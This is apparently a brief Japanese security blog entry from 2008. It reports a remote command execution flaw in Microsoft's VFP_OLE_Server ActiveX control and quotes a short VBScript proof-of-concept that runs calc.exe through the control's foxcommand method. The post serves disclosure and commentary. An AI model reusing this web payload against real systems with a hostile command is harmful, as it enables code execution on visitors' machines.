2008-01-10 Microsoft VFP_OLE_Server ActiveX Remote Command Execution セキュリティ Microsoft VFP_OLE_Server ActiveXを経由して、任意のコマンドが実行可能とのこと。 ってか、このPoCというかExploit何でも動くやん・・・ <script language='vbscript'> Sub tryMe test.foxcommand "RUN calc.exe" End Sub </script>